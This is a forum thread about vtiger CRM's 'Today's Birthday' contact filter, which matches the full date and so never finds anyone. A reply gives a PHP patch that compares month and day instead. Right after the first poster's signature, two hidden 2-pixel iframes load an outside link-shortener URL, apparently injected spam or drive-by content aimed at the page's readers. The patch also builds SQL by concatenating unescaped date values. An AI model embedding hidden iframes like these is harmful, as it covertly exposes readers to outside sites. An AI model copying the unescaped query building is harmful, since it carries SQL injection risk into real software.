Hi,
Surely I cannot be the only one who noticed this, or like me, has no-one tried using this filter in CONTACTS before ?
When you do a search using this filter, I was expecting to see any one whoose birthday was today (ie 10 Aug) regardless of the year. BUT when looking into the SQL trace, what is actually being searched for is literally "Todays Birthday" - ie 10 Aug 2007 !!
So, 2 issues here,
1 - I bet it 100% that no-one will need to create a contact whoose birthday is actually "today", and
2 - you can only enter a birthday in past (ie "Yesterday") anyway.
So, what you really need is a string search, ie "select * from vtiger_contactdetails where birthdate like '%-08-10';"
Is this possible ? Otherwise what is the point in this filter ?!?!
Rob <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
Comments
greg
thanks for pointing out the feature which is really helpful. i have reported the issue on trac. please refer to the following link for the details:
<!-- m --><a class="postlink" href="http://trac.vtiger.com/cgi-bin/trac.cgi/ticket/4403">http://trac.vtiger.com/cgi-bin/trac.cgi/ticket/4403</a><!-- m -->
we shall address it soon.
it's only a minor thing, but nice to have have if you want to email your clients and wish them happy birthday !!
rob
look arround line 894 look for:
if($startdate != "" && $enddate != "")
{
$columns = explode(":",$filtercolumn);
$stdfiltersql = $columns[0].".".$columns[1]." between '".$startdate." 00:00:00' and '".$enddate." 23:59:00'";
}
}
return $stdfiltersql;
replace it by:
if($startdate != "" && $enddate != "")
{
$columns = explode(":",$filtercolumn);
if ($columns[1] != 'birthday')
$stdfiltersql = $columns[0].".".$columns[1]." between '".$startdate." 00:00:00' and '".$enddate." 23:59:00'";
else
$stdfiltersql = "date_format(".$columns[0].".".$columns[1].", '%m%d') between date_format('".$startdate."', '%m%d') and date_format('".$enddate."', '%m%d')";
}
}
return $stdfiltersql;
top marks - that works a treat !!
nice one
rob